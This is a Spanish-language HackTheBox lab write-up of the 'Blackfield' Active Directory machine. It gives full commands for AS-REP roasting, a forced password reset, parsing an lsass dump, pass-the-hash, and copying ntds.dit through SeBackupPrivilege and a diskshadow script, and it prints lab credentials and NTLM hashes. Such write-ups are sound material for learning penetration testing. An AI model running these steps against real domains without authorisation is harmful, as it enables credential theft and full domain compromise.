← Volver a writeups

Blackfield

Hard · Active Directory · 2026-06-03


Información de la máquina

CampoDetalle
PlataformaHackTheBox
Sistema operativoWindows
DificultadDifícil
CategoríaActive Directory
Fecha—

Reconocimiento

Domain gathering

sudo netexec smb 10.129.229.17 -u "" -p ""
[sudo] password for kali: 
SMB         10.129.229.17   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False) 
SMB         10.129.229.17   445    DC01             [+] BLACKFIELD.local\:

Lo ponemos en /etc/hosts:

10.129.229.17   BLACKFIELD.local DC01 DC01.BLACKFIELD.local

Nmap TCP

Escaneo TCP

sudo nmap 10.129.229.17 -p- --open -sS --min-rate 500 -vvv -n -Pn

Puertos normales sabiendo que nos encontramos contra un DC.

Kerbrute

./kerbrute_linux_amd64 userenum --dc <DC ip> -d <domain> <wordlist>

Lo dejamos cargando por si da algún resultado.

Rpc Enumeration

Acceso sin credenciales

rpcclient -U "" -N 10.129.229.17

No tenemos permisos.

Smb Enumeration

Enumeración SMB sin credenciales

Smbclient

smbclient -L 10.129.229.17 -N

Smbmap

smbmap -H 10.129.229.17 -u 'null'

Tenemos dos cosas que nos llaman la atención:

  1. IPC$

Tenemos una lista bastante grande, la formateamos y la pasamos a un archivo.

  1. Profiles$

La verdad que esta lista parece mas una lista de usuarios, vamos a formatearlo en otro archivo.

Ahora tenemos dos posibles listas de usuarios.

Ldap Enumeration

Enumeración LDAP sin credenciales

ldapsearch -x -H ldap://10.129.229.17 -D '' -w '' -b "DC=blackfield,DC=local"

No vemos nada.

ASREProast

impacket-GetNPUsers blackfield.local/ -no-pass -usersfile users.txt

Con la primera lista (IPC$):

Nos encuentra un usuarios, aun así, vamos a probar con la otra lista.

Lista de profiles:

Vemos por los mensajes que nos daba de los otros usuarios que no existia a nivel sistema los otros usuarios.

Crackeamos hash:

Tenemos usuario y password:

support:#00^BlackKnight

Perfecto, vamos a volver a enumerar, esta vez con credenciales:

Rpc Enumeration

Acceso RPC con credenciales

rpcclient -U "support%#00^BlackKnight" 10.129.229.17

Tras enumerar con enumdomusers, vemos que es la misma info que ya teniamos. Enumerando querydispinfo, no vemos nada importante.

Smb Enumeration

Enumeración SMB con credenciales

Netexec

sudo netexec smb <IP> -u "username" -p "password" --shares

No vemos nada mucho mas relevante.

Ldap Enumeration

Enumeración LDAP con credenciales

ldapsearch -x -H ldap://10.129.229.17 -D 'blackfield\support' -w '#00^BlackKnight' -b 'DC=<domain>,DC=<TLD>'

Kerberoasting

impacket-GetUserSPNs blackfield.local/support:#00^BlackKnight -request

BloodHound

Investigando un poco me encuentro con lo siguiente:

Tenemos capacidad de cambiarle la contraseña a audit2020.

net rpc password "audit2020" 'Password123!' -U blackfield/support%#00^BlackKnight -S "blackfield.local"

Ahora tenemos nuevas credenciales:

audit2020:Password123!

Tenemos otro user, por lo que volvemos a enumerar:

Enumeración SMB con credenciales

Netexec

sudo netexec smb 10.129.229.17 -u "audit2020" -p 'Password123!' --shares

Vamos a ver que hay dentro:

Acceso a carpeta de SMB con credenciales

smbclient -U 'audit2020' //10.129.229.17/forensic

Comandos SMB para descargar el contenido

smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *

Me he encontrado un directorio donde habian muchos .zip, como uno me ha llamado la atención (lsass) lo he descomprimido y me sale un lsass.DMP.

Para leer un lsass.DMP, tenemos que hacer lo siguiente:

Instalación de pypykatz:

sudo apt update
sudo pip3 install pypykatz --upgrade

Ejecución del comando:

pypykatz lsa minidump lsass.DMP

Nos está dumpeando los usuarios con su hash NTLM.

Probamos con este user a hacer un PtH:

evil-winrm -i 10.129.229.17 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Vemos que este user es backup operator:

Cuando me disponia a hacer un dumpeo con el sam, system y local, me encuentro con lo siguiente en la raiz:

Amigos,

Tras la intrusión en el dominio y el análisis forense informático de la semana pasada, los auditores nos aconsejaron:
- Cambiar todas las contraseñas: Hecho.

- Cambiar la contraseña de krbtgt dos veces: Hecho.

- Deshabilitar la cuenta de auditor (audit2020): Hecho.

- Usar cuentas de administrador de dominio nominativas en lugar de esta: Hecho.

Probablemente tendremos que hacer copias de seguridad y restaurar los datos más adelante.

- Mike.

PD: Dado que el informe de auditoría es confidencial, lo he cifrado en el escritorio (root.txt).

Backup Operators es un grupo privilegiado de Windows que por diseño puede leer y escribir cualquier fichero del sistema, incluyendo los que normalmente están bloqueados, para hacer copias de seguridad.

Esto incluye los ficheros críticos del SAM/NTDS:

El flujo del ataque es:

  1. Con evil-winrm como svc_backup (Backup Operators), usas el privilegio SeBackupPrivilege para copiar el NTDS.DIT y SYSTEM aunque estén bloqueados
  2. Te bajas esos ficheros a tu máquina
  3. Con impacket-secretsdump extraes los hashes offline:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Como sacar cada archivo:

SAM:

reg save HKLM\SAM C:\Temp\SAM

SYSTEM:

reg save HKLM\SYSTEM C:\Temp\SYSTEM

NTDS.DIT

git clone https://github.com/giuliano108/SeBackupPrivilege.git

Y una vez dentro necesitamos dos archivos:

El flujo sería:

# Subir las dos DLLs y luego en Evil-WinRM:
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

# Copiar NTDS.dit
Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\Documents\hola> Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\svc_backup\Documents\hola\ntds.dit
Opening input file. - The process cannot access the file because it is being used by another process. (Exception from HRESULT: 0x80070020)
At line:1 char:1
+ Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\svc_back ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception
    + FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege

Cuando nos sale esto, hay otra manera de conseguirlo:

Creamos un archivo en nuestra kali:

printf "set context persistent nowriters\r\nadd volume c: alias pwn\r\ncreate\r\nexpose %%pwn%% z:\r\n" > shadow.txt

Este shadow.txt lo subimos a evilwinrm:

Y ahora comando de diskshadow:

diskshadow /s C:\Users\svc_backup\Documents\hola\shadow.txt

Una vez lo tenemos, por si acaso volvemos a importar modulos y tiramos el ultimo comando:

Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit C:\Users\svc_backup\Documents\hola\ntds.dit

Y ya tenemos el archivo.

VSS (Volume Shadow Copy Service)

Windows tiene un servicio que hace snapshots del volumen entero, incluso de archivos que están en uso. Es lo que usa Windows para backups mientras el sistema está corriendo.


Qué hace cada línea del script:

set context persistent nowriters

Crea una shadow copy persistente (sobrevive al reboot) y excluye los VSS writers — los writers son aplicaciones como AD que podrían interferir o bloquear el proceso.

add volume c: alias pwn

Le dice que haga la snapshot del volumen C:\ y le asigna el alias pwn para referenciarlo después.

create

Ejecuta la snapshot en ese momento.

expose %pwn% z:

Monta la snapshot como una unidad nueva Z:\. Es como tener una foto congelada de C:\ accesible como disco independiente.


Por qué funciona:

Cuando accedes a z:\Windows\NTDS\ntds.dit no estás tocando el archivo real — estás leyendo la snapshot. El AD Database Service tiene bloqueado el archivo en C:\, pero no tiene ningún lock sobre la copia congelada en Z:\. Por eso 0x80070020 desaparece.

Manera automatica:

https://github.com/G4sp4rCS/backup-operator-to-domain-admin-POC

Lo pasamos a nuestra kali para tratarlo con el comando.

impacket-secretsdump -system SYSTEM -sam SAM  -ntds ntds.dit LOCAL

Aplicamos un PtH:

evil-winrm -i 10.129.229.17 -u 'administrator' -H '184fb5e5178480be64824d4cd53b99ee'